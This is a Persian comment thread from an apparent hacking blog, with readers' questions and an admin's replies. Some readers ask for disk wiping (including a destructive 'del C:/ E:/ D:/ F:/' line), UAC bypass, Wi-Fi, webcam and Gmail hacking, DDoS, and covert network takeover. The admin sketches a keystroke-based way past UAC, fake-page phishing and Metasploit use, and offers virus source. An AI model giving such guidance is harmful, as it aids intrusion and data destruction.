    یادم نمونده چیزی
    سلام بر دوستان عزیز و تیم زحمت کش ویروس 32.دوستان ازتون درباره شرکت worldwid energy سوال داشتم .میخواستم بدونم که شرکت معتبریه چون با ارز های دیجیتالی مثل بیت کوین و ارز دیجیتالی مخصوص خودش کار میکنه. میخواستم بدونم این سایت از نظر امنیتی چطوریه و آیا سایتش قابل هک هست یا نه چون هاست این سایت از شرکت phonix خریداری شده و سرور اختصاصی برای خود شرکت وجود نداره. بعد این سایت مجهز به DDos Protection هست.
    میخواستم بدونم بنابر این چیز ها سایت برای سرمایه گذاری ویا هک کردن چطوره؟
    خیلی ممنون میشم اگر جوابمو سریعتر بدید باتشکر.A
    MR C0D3R :
    سلام
    در این حد سر رشته ندارم
    سلام اون سیستم هایی که من میخام نابود کنم UACاون ها رو به پایین رسوندم لطفا کد رو بده
    MR C0D3R :
    سلام
    بازم میگم اگه میخوای اون برنامه رو درست کنی
    خودت حتما باید شروع کنی تا منم راهنماییت کنم
    پاک کردن اطلاعات یه هارد کاری نداره
    فقط کافیه یه خرده برنامه نویسی کار کرده باشی
    بقیشو اینجا بپرس تا من راهنماییت کنم
    کدهای اول این پست تقریبا برای کدهای اتورانته
    سلام چطور رنگ متن های خط فرمان رو سبز کنم
    MR C0D3R :
    Color A
    سلام اگر برای این کد اتوران بسازم کار میکنه
    del C:/ E:/ D:/ F:/
    MR C0D3R :
    نه
    سلام لطفا آموزش فوق فشرده سازی رو تو وبتون قرار بدید
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    *******
    *** *** ***** **** ***** ** ** ***** ***** *** * *** ***** **** ***** ****** * ** ** ****** ****** **** **** ** ****** ***** **** ****** *** *** * * * **** ****** * ****** *** ** ** ***** * ***** **** *** ***** ****** ***
    *********
    *** ***** *** ** *******
    *** *** *** *** *** ***** * *** **** ***** **** **** ***** **** *** *** ** *** ***** **** **** **** *** * **** *** *** *** *** **** ** ** ** * ********* ***** * ** ** **** **** ** **** ****** ***** *** ****** **** ** *** **** ******* **** *** *** ** ***** ******** ** *** ***** *** ** **** ** *** **** ** *****
    MR C0D3R :
    من اگه میخواستم که خودم راهنماییش میکردم
    میخوام خودش بره قشنگ یه دور بچرخه ببینه چی به چیه
    بعدش سوال کنه و جواب بدم :)
    =======
    من به جات بودم کلا جوابشو نمیدادم
    اینجوری خودش خجالت میکشه میگه داداش اشتباه شده :))
    سلام داداش بنده میخوام توکار کرک هم واردبشم فرقی نداره کرک نرم افزار یا ... میشه کمک کنی دنبال چی برم چه برنامه ای
    MR C0D3R :
    سلام
    باید زبان های برنامه نویسی سطح پایین رو یاد بگیری
    مثل اسمبلی / سی / سی پلاس پلاس و ...
    برنامه های زیادی وجود دارن ، مثلا Olly Debug و ...
    یه کتاب راجب تکنیک نفوذ به نرم افزار دارم که یه خرده صفحاتش زیاده و مقدماتشو یاد داده
    سعی میکنم قرارش بدم :)
    سلامی دوباره
    داداش میخواستم ببینم راهی هست که بشه برناممون توی یه شبکه محلی که چند تا کامپیوتر هستن و یه سرور , توی کامپیوترای دیگه هم کپی بشه؟
    (فک کنم باید برم دنبال بحث سوکت نویسی و ...)
    (از روی خود سروره نه از رو یکی از کامپیوترای توی شبکه)

    یا که باید از رو سرور و... این کارو بکنی؟
    MR C0D3R :
    سلام
    اگه منظورت توی برنامه نویسی هستش
    درسته باید بریم سراغ برنامه نویسی سوکت
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام دوست گلم ... روز و شبت بخیر
    *** ****** * **** * **** **** ** ****** *** ***** *** ***** * ******** ********* **** ***** ******* **** ** ** ***** **** *** *** ****** *** ** * *** ******* **** **** **** *** **** *** ****** ******* *** ***** ***** *** ****** **** ****
    MR C0D3R :
    سلام
    بهش ایمیل بزن
    داداش در مورد کرک دوباره مزاحم شدم الان برای اولین بار دنبال چی برم
    MR C0D3R :
    برنامه نویسی زبان های سطح پایین
    مثل چی !؟ و آموزششم یا بزارید یا اگه گذاشتید لینک بدین یا اگه هیچ کدوم لا اقل یک لینک آموزشی بدین سردر گم نشم ولی کامل باشه بعضیاناقصا یاهنوز در حال تکمیلن
    MR C0D3R :
    اگه از الان دنبال یه آموزش کاملی
    نرو سمتش ، چون یه چیزیه که خودت باید
    قدرتشو داشته باشی تا برنامه رو اجرا و تست کنی
    ببینی مشکلاتش چیه و ...
    اما همونطور که گفتم یه کتاب دارم در رابطه با اون
    اگه پیداش کردم ( تو سیستمم گم شده ) قرارش میدم
    بازم میگم نرو دنبال چیزای کامل ...
    شروع کن به یاد گرفتن زبان های برنامه نویسی مورد نیازش
    باید زبان سی و اسمبلی برات جا بیفته
    بعدا شروع کن به یاد گرفتن برنامه هایی که در رابطه با مهندسی معکوس هستش
    مثلا Olly Debug که بهت گفتم
    بعدا با برنامه های بهتر برای اینکار کار کن
    و انواع نرم افزار هارو در این زمینه بشناس
    مثلا این پست و این پست که قرار داده بودم
    یه جورایی برمیگرده به همین مهندسی معکوس
    اما اینا همه جا بدرد نمیخورن
    بخاطر همینه که میگم باید با زبان های سطح پایین آشنا باشی
    تا اگه نتونستی از دیکامپایلرایی که مستقیم کد برنامه رو در اختیارت بزارن
    استفاده کنی ...
    خیلی راحت برنامه رو برگردونی به زبان های سطح پایین و ...
    سلام من یه روش پیدا کردم که باش میشهcmdرو سریع با حالت adminبیاریم برای اینکار بر روی گوشه پایین سمت چپ راست کلیک می کنیم بعد روی کزینه (command prompt(admin کلیک می کنیم cmdباز میشه.
    MR C0D3R :
    سلام
    خسته نباشید ، بسیار ممنون :(
    سلام
    راهی هست که فایروالو دور زد که بعد از ارتباط با FTP بلاک نشه
    MR C0D3R :
    سلام
    ببخشید میشه بگید چرا یوتویوب باز نمی شود؟
    MR C0D3R :
    فیلتر نیست
    با آی پی ایران نمیتونیم بریم داخلش
    یعنی هر چی که هست تو همون اونور آبه
    سلام خسته نباشید
    دنبال جواب این تمرینم: باید لینک گروه های تلگرامی که در محدوده شهر خودم هست را پیدا کنم.
    از طریق مهندسی اجتماعی خیلی سخت بود 😢، ولی اگر بتونید
    راهنماییم کنید ربات بسازم که در فاصله چند کیلومتریم دنبال لینک بگرده عالیه .
    چندروز بیشتر فرصت ندارم 🤕
    MR C0D3R :
    سلام
    تا جایی که میدونم نمیشه همچین کاری کرد
    مگر اینکه شما یه ربات تلگرامی درست کنین که
    افراد دیگه ی شهرتون یا هر جای ایران اون ربات رو استارت کنن
    و شهر و ... خودشون رو به ربات معرفی کنن
    شما هم اطلاعات وارد شده رو داخل دیتابیس ذخیره کنین
    بعدا بتونین لینک گروه های محدوده شهرتون رو پیدا کنین ( اونم اگه کاربر لینک گروهشو گذاشته باشه )
    خوب الآن باید چیکار کنم که یوتویوب باز شود؟
    "اونور آبه" یعنی چی نمی فهمم.
    یوتویوب مثل تلگرامه؟
    MR C0D3R :
    از اینجور چیزا استفاده کن دیگه :)
    روز برنامه نویس رو به شما تبریک میگم
    MR C0D3R :
    َممنون همچنین :)
    من ویندوز 10 دارم و وقتی که باهاش کار می کنم یکدفعه ریستارت میشه من حتی آنتی ویروس بیفت دیفنر رو هم دارم , توی قسمت پاور(پاور،ریستارت،خواب....) چند تا گزینه اظافه شده به نام های:
    Update and restart
    Update and shut down
    لطفاً کمکم کن!
    MR C0D3R :
    این یکدفعه خاموش و روشن شدنش
    فکر نکنم ربطی به آپدیت داشته باشه (شایدم از رفتارای ویندوز ده باشه)
    برای ویندوزت آپدیت اومده و این پیغام ها هم
    یکیش یعنی اینکه ویندوز رو آپدیت میکنم و بعدش ReStart میدم
    یکیش به این معنیه که ویندوزت رو آپدیت میکنم و بعدا خاموشش میکنم
    میتونی ویژگی آپدیت ویندوزت رو غیر فعال کنی
    هم اینکه میتونی ویندوزت رو آپدیت کنی ...
    سلام عزیز امیدوارم خوب باشی.من دانشجوی سال اخر نرم افزارم میخواستم اگه میشه راهنماییم کنی،من تو این چهار سال هیچی از دانشگاه یاد نگرفتم فک کنم خودت بدونی وضعیت دانشگاهای ایران چطوریه فقط در حد خوندن و پاس کردن بوده ن بیشتر و چیزیم یاد ندادن ک بخوام یاد بگیرم من علاقه زیادی ب امنیت و هک دارم از ادمای زیادی پرسیدم چیکار کنم ولی هیچکدوم هیچ کمکی نکردن بهم ب چند تا از اعضای اصلی بعضی از انجمنای امنیت ایمیل زدم اصلا نگفتن کی هستی چ برسه ب راهنمایی و کمک کردن ی سریام دستو پا شکسته گفتن ی کارایی بکن ولی چون کامل نگفتن کاری خاصی نمیشد بکنی ممنون میشم راهنمییم بکنی من از کجا شروع کنم چیارو بخونم یا ببینم منابع رو از کجا تهیه کنم فقط اگه بخوام بگم من حداقل با چند تا زبان اشنایی دارم و حتی نمیخوام بگم ک خیلی کم روشون مسلطم چون نیستم فقط باهاشون کار کردم و چند تا برنامه نوشتم اونم خیلی ساده ن سنگین در حد پروژه های دانشجویی.اگه راهنمایی کنی خیلی ممنون میشم.
    MR C0D3R :
    سلام
    ممنون امیدوارم شما هم خوب باشی :)
    جوابت رو به زودی برات ایمیل میکنم ...
    اموزش هک وبلاگ رو بزار یا بفرست به جیمیلم اگه میشه لطفا
    سلام. یکی از پوشه های فلش من، ویروسی شد و پوشه ها و فایلها به حالت حروف ناخوانا در اومد.
    من اومدم کل فلش را فرمت کردم بعدش زدم فایلهامو ریکاری کنه. جالبه که همه ی فایلهایی که لازمم بود ریکاری شدند بجز 1 فایل اکسل!
    که نمیدونم چرا اونو ریکاوری نکرده!
    اون فایل درون همون پوشه ای بوده که تو اون پوشه، پوشه های دیگه ای داشتم که فایلهای درون اون پوشه رو ریکاوری کرد ولی الا و بلا اون فایل رو پیدا نکرد!
    البته من اون یکی فایلهایی که ریکاوری شده رو هم با زحمت از بین صدها فایل اکسل ریکاوری شده پیدا کردم!
    حالا نمیدونم شایدم اونو پیدا کرده منتها با یک فرمت دیگه!
    این فایل اکسل که پیداش نمیکنم پسورد هم داشته
    راه حلی سراغ دارید؟
    اگر پاسخ رو برام ایمیل کنید ممنون میشم.
    MR C0D3R :
    سلام
    نه متاسفانه راه حلی سراغ ندارم
    سلام. تست
    چطوری ویژگی آپدیت ام را خاموش کنم؟!
    اگر ویندوز 10 ام آپدیت شد تمام فایل های روی لپ تاپ ام پاک می شود؟!
    MR C0D3R :
    تا حالا ویندوز ده نداشتم
    تو نت بچرخ حتما پیدا میکنی 
    فایلای ویندوزیت داخل یه پوشه به نام old folder ذخیره خواهند شد
    نه چیزی حذف نمیشه و چیزایی که بروزرسانی میشن هم گفتم داخل کدوم پوشه پیدا میشن
    چطوری عکس بفرستیم؟(آخه یکی تو قسمت ویندوزتان مرد..... عکس فرستاده بود!!!)
    MR C0D3R :
    متوجه منظورت نشدم
    منظورت اسکرین شات تو محیط ویندوز هستش ؟
    داداش کدر فک کنم توی پست سیستم شما مرده یا زن



    جواب اولین کامنت که ویروس با جواب یه عکس فرستاده رو میگه
    MR C0D3R :
    نه نباید منظورش اون باشه
    بزار خودش بگه ببینیم منظورش چیه
    چون گفته فرستاده بودن
    نگفته فرستاده بودیم
    سلام . ۲ ۳ روش هک وایفای گزاشتی یکیش خیلی سخت بود نتونستم ولی اون dumper رو تست کردم ولی بازم جالب نبود خیلی از وایفای هارو نمیتونه کرک (یا هک) کنه لطفا یه راهی نشونم بده به یه نت در حد تلگرام برای لبتابم جور کنم لطفا یه راهی نشونم بده اگه میشه کمکم کن خیلی نیاز دارم مرسی .
    نه منظورم اسکرین شات نیست یکی توی وبلاگتان قسمت(سیستم شما مرد است یا زن) در قسمت پیامها(همینجا که الآن پیامم را نوشته ام) یک عکس فرستاده!
    ببخشید اون عکس را شما توی قسمت پیامها نوشته بودید؛ ولی چطوری؟
    این قابلیت فقط برای مدیر وبلاگه؟!
    MR C0D3R :
    نه اونا با کدهای Html بودن
    یعنی هر جا که ویژگی گذاشتن کد html باشه
    میشه همچین کاری رو انجام داد
    اونا به درد تو که نه وبلاگی داری ، نه سایتی ... نمیخوره
    تازه یک نفر بغل اسمش آیکن گذاشته بود:
    اگه میشه اونم آموزش بدید😅
    MR C0D3R :
    اون آیکون گذاشتنه دیگه برای کاربرای معمولی نیس ...
    اول از همه باید داخل بیان حساب ایجاد کنیم
    یعنی اینجا :)
    بعدا از قسمت نمایه من
    بریم به قسمت مشخصات اولیه
    و ویرایش مشخصات رو بزنیم و ....
    داداش اگه بخوایم بایوس رو دستکاری کنیم ، با سی شارپ و پایتون هم میشه یا باید زبان های سطح پایین رو کار کنیم ؟؟؟
    MR C0D3R :
    سی شارپ رو نمیدونم ولی فکر کنم بشه (ویروس نیستش وگرنه ازش میپرسیدم)
    اما برای پایتون کتابخونه هایی وجود داره که میتونیم توی بایوس یه سری تغییرات ایجاد کنیم
    داداش به نظرت تو ویروس نویسی میشه کاری کرد ، که وقتی برنامه مون نیاز به دسترسی ادمین داره ، وقتی اون پیام UAC یا همون User control account میاد ، خود به خود yes زده بشه ؟؟؟ مثلا با دستور send keys یا چیز دیگه ای ؟؟؟؟
    MR C0D3R :
    اگه برناممون باز بود آره میشد
    مثلا وقتی یه برنامه دسترسی میخواست
    میتونستیم از طریق برنامه خودمون دستور رو بفرستیم سمت کلیدها
    اما چون برناممون باز نیستش بخاطر همین نمیشه
    البته میتونیم دو تا برنامه داشته باشیم
    یکیش برای اینکه کلیدهارو بفرسته و دومیشم ویروس باشه
    سلام و خسته نباشی خدمت اقا کدر و ویروس خان
    چند روزه فیلتر شکن کامل کانکت میشه اما هیچ کدوم از مرورگر هام سایتی رو باز نمیکنه
    با 3 تا فیلتر شکن هم امتحان کردم گفتم شاید نت ضعیفه که با نت قوی هم فرقی نکرد
    ممنون میشم راهنمایی کنی
    MR C0D3R :
    سلام
    وصل میشه اما هیچ سایتی رو باز نمیکنه ؟
    از فیلترشکن های بروز استفاده میکنی ؟
    هر چی فیلتر شکن داری و ... پاک کن
    یبار کوکی های مرورگرتو کلا پاک کن ...
    بعدشم از Ultra Surf که تو این پست گذاشتیم استفاده کن
    اگرم اون سایتی که میخوای بازش کنی ، فقط فیلتره و چیز خاصی نداره
    میتونی از فری گیت هم استفاده کنی
    راستی بعد از اینکه کوکیاتو پاک کردی
    دستور پایین رو هم تو خط فرمانت وارد کن
    IPconfig /FlushDNS
    اگه سرعت اینترنتت واقعا خوب باشه
    و این دو تا برنامه ، اون زمانی که شما میخوای فیلترینگ رو دور بزنی
    سروراشون وصل باشه و اینا هم بتونن وصل بشن به اونا
    خیلی میتونن بهت کمک کنن :)
    من الا ۴ ۵ با یه روش هک وایفای با ویندوز خواستم به غیر از dumper و همشون تایید شدن و به هیچکدوم پاسخ داده نشده دیگه نمیدونم چیکار کنم لطفا کمکم کن خیلی لازم دارم
    سلام. یکی جیمیلمو دزدیده و حالا میخوام پس بگیرم چطوری باید هک کنم جیمیل خودمو. اطلاعاتی که میدونم یکی تاریخ ساخت جیمیله و یوزنیم جیمیل همین. لطفا کمک کنین.
    MR C0D3R :
    سلام
    اگه واقعا ایمیل خودته
    اطلاعات بازیابیش اگه تقریبا یادت باشه میتونی برشگردونی
    مثلا همون تاریخ ساخته شدن ، آخرین رمزی که یادته ، آخرین شماره ای که روش بود و ...
    سلام ویروس
    چطور اطلاعات یه نفرو از تو اینترنت جمع کنیم
    و یکی دیگه این که چطور وب کم رو هک کنیم؟؟؟
    MR C0D3R :
    سلام
    اولیو  نمیدونم چون اگه جمع کردن اطلاعات در رابطه با یک سرور و .... بود ، میتونستم کمک کنم
    اما اینکه بخوایم اطلاعاتی رو در مورد یه شخص جمع کنیم ... نمیدونم ( البته غیر از شخصیت های معروف )
    دومی رو هم اینکه من نمیتونم یاد بدم
    اما اگه بخوایم ، تو ویندوز میتونیم از ابزارهای آماده استفاده کنیم
    اگرم از لینوکس استفاده میکنیم ، تو متاسپلویت ، میتونیم این کارارو انجام بدیم
    سلام لطفا هک با باگ rfl را قرار بده
    MR C0D3R :
    سلام
    باشه در موردش مینویسم ...
    سلام.من همونیم که جیمیلش دزدیده شده. نگاه کن من میرم تو گوگل جایی که برای بازیابی حسابت هست ولی تمام سوال هایی که میپرسه رو طرف مقابل تنظیماتم رو عوض کرده نمیدون و در قسمت تاریخ ساخت جیمیل هم که میاد مینویسه به دلیل تلاش زیاد نمیتوانید پاسخ دهید . لطفا چند ساعت دیگر تلاش کنید. الان 18 ساعت گذشته و همینو مینویسه. و اینکه من فقط 3 بار درخواست دادم و تاریخ ساختشم بلدم . این طوری نیست که اشتباه بزنم . فکر کنم طرف مقابل رفته این طوری زده تا تاریخ ساخت جیمیلم رو پیدا کنه. حالا چیکار کنم من اطلاعاتی که ثابت کنه مال من هست جیمیل رو دارم ولی موندم به کی بگم لطفا کمک کن.
    MR C0D3R :
    24 الی 72 ساعت منتظر بمون
    بعدا دوباره برو برای بازیابی و حدالمقدور درست بزن
    یا اینکه اگه یارو اطلاعات رو عوض کرده ، آخرین اطلاعاتی که یادته رو بزن
    تاریخ ساخت ایمیل رو نمیشه تغییر داد :(
    سلامmr.coder یه سوال دارم یه سایت برام باز میشه میخوام دیگه هرگز باز نشه مرورگرم کرومه سریع بم یه روش بده
    MR C0D3R :
    سلام
    متوجه نشدم !!!
    ببین کدوم یک از موارد پایینه :
    مرورگرتو باز میکنی ، اون صفحه باز میشه
    بدون اینکه مرورگرتو باز کرده باشی اون صفحه باز میشه 
    وقتی وارد یه صفحه وب میشی ، اون صفحه باز میشه
    حالا کدومشونه ؟
    حاجی وقتی یه چیزی رو نمیدونی یا وقتش رو نداری باید به من که مخاطب بلاگ شما هستم بگی من الا چند روزه هی دارم میام ببینم جوابی دادید به پیام های من یا نه الا ۵ بار ازت خواستم میتونستی بگی نمیتونم تا حد اقل هر روز نیام دنبال پیامم بگردم که جواب دادید یا نه کلی وقتم اینجا تلف شد و بعد از بار ها به نتیجه نرسیدم
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام خوبی؟
    ***** *** ***** ***** ***** ***** ***** ** ** **** ****
    *** ** **** ** ***** ***** *** **** ***** *** **** **** *********
    ***** ** *** *** **** ******* ***** **** ****** * ** *** ****** *** ** *** **** ********** ** *****

    MR C0D3R :
    سلام ، ممنون
    تا حالا چیزی به نام مرض شنیدی ؟
    اینا مرض دارن خودشم از نوع خفیفش !
    البته بستگی به همه چیز داره
    مثلا میزان نظر کاربرا یا اینکه رای دادن کاربرا و ....
    اما از نظر سئو و طراحی و ... ما فکر کنم تو بلاگ اولین نفر باشیم !
    چون بیشتر وبلاگایی که میبینیم از قالب پیشفرض استفاده میکنن
    بدون اینکه تغییری بدن و خیلی چیزای دیگه ...
    کاربرا هم که لطف دارن و همیشه با رای هاشون مارو خوشحال میکنن :|
    کلا بالای پست ها اون عدد رنگ سبز هارو که میبینی ؟
    اونا رای های کاربرا هستن :(
    من رفتم و توی آپارات ثبت نام کردم و خواستم که فیلمی آپلود کنم فیلد ها را هم پر می کنم ولی یکی از فیلد ها نوشته برچسب وقتی فیلد برچسب را پر می کنم می نویسه: حداقل ۳ برچسب اجباری است
    من نمی فهمم چی میگه!
    تازه هرچی هم که می نویسم بازم میگه: حداقل ۳ برچسب اجباری است
    MR C0D3R :
    توی پایان همین پست
    اگه نگاه کنی یه کلماتی وجود داره
    مثلا VIP یا ViRus32 و ...
    به اونا میگن تگ یا برچسب
    حالا شما هم باید ببینی فیلمی که آپلود میکنی مربوط به چه موضوعیه
    بعدا وابسته به همون موضوع باید برای چیزی که میخوای آپلود کنی ، برچسب بزاری
    سلام جناب خسته نباشید
    ممنون از مطالب مفید و خوبتون
    لطفا در مورد بیتکوین و آموزش ماین بیتکون و استخر های استخراج هم مطلب بزارید خیلی لطف میکنید
    ممنون
    MR C0D3R :
    سلام
    بعدا در موردش مینویسم
    سلام عزیز وقتت بخیر چند روزی گذشت از پیامم ولی ایمیل نزدی گفتم شاید ایمیلمو اشتباه زدم چون موقع ثبت کردن خیلی دقت نکردم شایدم تو وقت نکردی ولی دوباره ثبت میکنم شاید اشتباه ثبت کرده باشم
    MR C0D3R :
    سلام
    ایمیل بابت چی ؟
    والا وبلاگ شمام چیزی کم نداره
    فقط یه کی این که همون رای هاش کمه و این که یکی از موردهاش هم اینه که باید نویسنده یا نویسنده ها توی وبلاگ ها ی دیگه نظر بدن و رای بدن
    فک کنم این سه تا مشکلو حل کنی تولیست بزارنتون

    البته اگه همون جوری که گفتی مریض باشن نمیشه کاریش کرد شما هر چقدرم تلاش کنی بازم فایده نداره :(
    ---------------------------------------------
    یه ایده ای واسه اون رای ها دارم
    خودم اولا که با وبتون اشناشدم اصلا دفعه های اول اون عددارو نمیدیدم
    و یه بارم که دیدمشون نمیدونستون واسه چین و بعدا که روش کلیک کردم و جریانشونو فهمیدم.
    فک کنم اگه یه ایکن قلبی چیزی بزاری کناشون که بیشتر به چشم بیاد شاید بقیه کاربرا هم فهمیدن و یه لایکی کردن
    MR C0D3R :
    اون فکرت ، فکر خوبیه
    من به قالب دسترسی ندارم
    ویروسو گیر آوردم بهش میگم بهم دسترسی بده
    درستش کنم یا اینکه میگم درستش کنه
    البته خودم میتونم به خودم دسترسی بدم
    اما چون بدون هماهنگی ویروسه
    بخاطر همین یه وقت ناراحت میشه ...
    الان دو هفتست ویروسو ندیدمش :(
    خودم تک و تنهام
    ایشالله سرو کله ویروسم پیدا میشه
    -------------------------------------------------
    یه سوال :
    تا حالا شده کسی وبلاگتونو هک کنه یا اسیبی چیزی بهش برسونه ؟
    (البته فک نکم,چون ویروس رو امنیت وبلاگش خیلی حساسه و ....)
    به هر حال شایدم بوده ما خبر نداریم :|
    به مصخره ترین سوال ها مثل برگدونون ایمیل یا اپولود کلیپ تو اپارات یا خیلی چیزای مصخره تر جواب داده میشه بعد به من که یه روش کرک روتر وایفای برای ویندوز میخوام و ۳ یا ۴ ماه هست گیرشم و نظرم تایید میشه هیچ جوابی داده میشه حتی نمیگید بلد نیستم یا هستم حوصلشو ندارم یا میفرستم ایمیلت دیگه نمیدونم چی بگم این ۷ یا هشتمین پیامیه که میدم و بدون پاسخه
    سلام بر تیم زحمت کش ویروس32. شرمنده میخواستم بدونم فقط شما 2 نفر تو این سایت ادمین هستید یا عضو جدید هم میپذیرید؟
    MR C0D3R :
    سلام
    بله دو نفریم
    نه متاسفانه !!
    عضو جدید نمیخوایم
    مگر اینکه یه کاربر فعالیت خوبی توی اینجا داشته باشه
  • Virus32
  • Jadid Vali Ghadimi
  • سلام خدمت جناب ویروس بزرگ :)
    یه سوال داشتم ، توی تلگرام امکان این هست که بشه شماره یه نفر رو درآورد ؟ یادمه انگاری قبلا ها میتونستی :-*
    داداش یک سوال این روزا میان جیمیلو با کدهای اچ تی ام ال هک می کنن درسته !؟ یعنی اون صفحه ای که میگه جیمیل رو فراموش کردی اخرش میگه رمز جدیدیا نتخاب کن از اون صفحه یعنی کد های اچ تی ام ال اش رو برمی دارن میبرن وقتی جیمیلی رو نتونستن برن اخرش اون صفحه رو کپی می کنن بعدش میگه اون جیمیل رو رمز رو عوض کن میشه !؟صحت داره ؟
    MR C0D3R :
    متوجه منظورت نشدم
    اما از چیزایی که گفتی حدس زدم منظورت فیک پیج هستش
    ببینم منظورت اینا نیسسش ؟ :)
    اگه منظورت اوناست
    آره میشه یه حرکتایی باهاش زد
    البته هکش نمیکنن
    با روش مهندسی اجتماعی اون حساب رو بدست میارن
    خودشم اگه اون کاربر ایمیل و رمزشو بزاره
    راستی برای ساختن فیک پیج هم باید Html بلد باشیم که تو بلدی دیگه
    سلام من هر کاری می کنم که توی آپارات فیلم بگذارم، نشد.
    هی می نویسه برچسپ.... 3 تا..... اجباری.....
    منم هی بهش می گم: آپارات.... رو سر.... خراب....
    به خدا دیونه شدم هر برچسبی مربوط به این موضوع می نویسم دوباره میگه 3 برچسب اجباری است. من حتی توی یک فیلم آموزشش هم دیدم توی اون فیلم کارش با یک برچسب راه افتاد ولی من هر چی وارد می کنم چه صد تا برچسب چه سه تا چه یکی یا خالی آخرش همینو میگه.
    اون بالا چند تا پیام قبل بهم گفتید ولی کاربرد نداشت!!!!!!!!!!!!!!!!!!!!
    سلام ستون نت، داش کدر ی سوال داشتم با بت فایل میتونم ی ویروس مثل ویروسnew folder درست کنم یا با پایتون یا برنامه های دیگس؟ اگه نصف سورسشم بزاری بقیشو خودم ردیف میکنم اگه سراغم نداری همچین سورسی بازم فدایی داریو حالا حالاها شاگردتیم
    MR C0D3R :
    سلام
    سورسشو به زبان ویژوال بیسیک دارم
    سعی میکنم برات ایمیلش کنم :(
    سلام
    یه سوال دارم
    سایت هایی که محدودیت ارسال پکت دارن رو میشه دی داس کرد؟
    37.1.207.98
    onion.rent
    سلام داداش آیا میشه یک برنامه با هر زبانی ساخت که یک پارامتری رو توش بنویسی منظورم تکه کدشو نمیدونم شاید هم کدی براش نباشه مودم رو خاموش کنه حالا یا با c# python vb یا ..
    MR C0D3R :
    سلام
    تا جایی که اطلاع دارم ، میشه یه کارایی کرد
    مثلا تو پایتون با کمک دیکشنری ها و ماژول UrlLib یا Requests
    میتونیم درخواست بفرستیم سمت 192.168.1.1 که صفحه مربوط به مودم ها هستش
    حالا دیگه نمیدونم چطور میشه تغییرات ایجاد کرد D:
    سلام
    داش کدر کلا تو خط لینوکس و ... نیستین یا به خاطر برادران زحمت کش نمیتونین مطلب بزارین؟
    (وبلاگ فقط یه بخش لینوکس کم داره ;)
    MR C0D3R :
    سلام
    فدا سرت :))
    جان منی داداش، باشه وقت کردی بفرست ایمیل دستت طلا
    سلام بر تیم زحمت کش ویروس 32. دوستان شرمنده اگه به یه شبکه کامپیوتی بزرگ که یه چیزی حدود 40 تا سیستم به علاوه ی سایت اینترنتی و دوربین های مدار بسته داشته باشه چجوری میتونیم دوربین ها رو غیر فعال کنیم و همینطور 40 تا سیستم رو بدون اینکه بفهمن استفاده کنیم و سایت رو هک کنیم لطفا سریع جواب بدید. خیلی ممنون
    سلام من هر کاری می کنم که توی آپارات فیلم بگذارم، نشد.
    هی می نویسه برچسپ.... 3 تا..... اجباری.....
    منم هی بهش می گم: آپارات.... رو سر.... خراب....
    به خدا دیونه شدم هر برچسبی مربوط به این موضوع می نویسم دوباره میگه 3 برچسب اجباری است. من حتی توی یک فیلم آموزشش هم دیدم توی اون فیلم کارش با یک برچسب راه افتاد ولی من هر چی وارد می کنم چه صد تا برچسب چه سه تا چه یکی یا خالی آخرش همینو میگه.
    اون بالا چند تا پیام قبل بهم گفتید ولی کاربرد نداشت!!!!!!!!!!!!!!!!!!!!
    چرا جوابم رو نمی دهی؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    داداش سلام
    دا اش بی زحمت اگه حسشو داشتی ، لطف کن یه اموزش ساده هم درباره سوکت نویسی تو سی شارپ بزار
    سلام من هر کاری می کنم که توی آپارات فیلم بگذارم، نشد.
    هی می نویسه برچسپ.... 3 تا..... اجباری.....
    منم هی بهش می گم: آپارات.... رو سر.... خراب....
    به خدا دیونه شدم هر برچسبی مربوط به این موضوع می نویسم دوباره میگه 3 برچسب اجباری است. من حتی توی یک فیلم آموزشش هم دیدم توی اون فیلم کارش با یک برچسب راه افتاد ولی من هر چی وارد می کنم چه صد تا برچسب چه سه تا چه یکی یا خالی آخرش همینو میگه.
    اون بالا چند تا پیام قبل بهم گفتید ولی کاربرد نداشت!!!!!!!!!!!!!!!!!!!!
    چرا جوابم رو نمی دهی؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
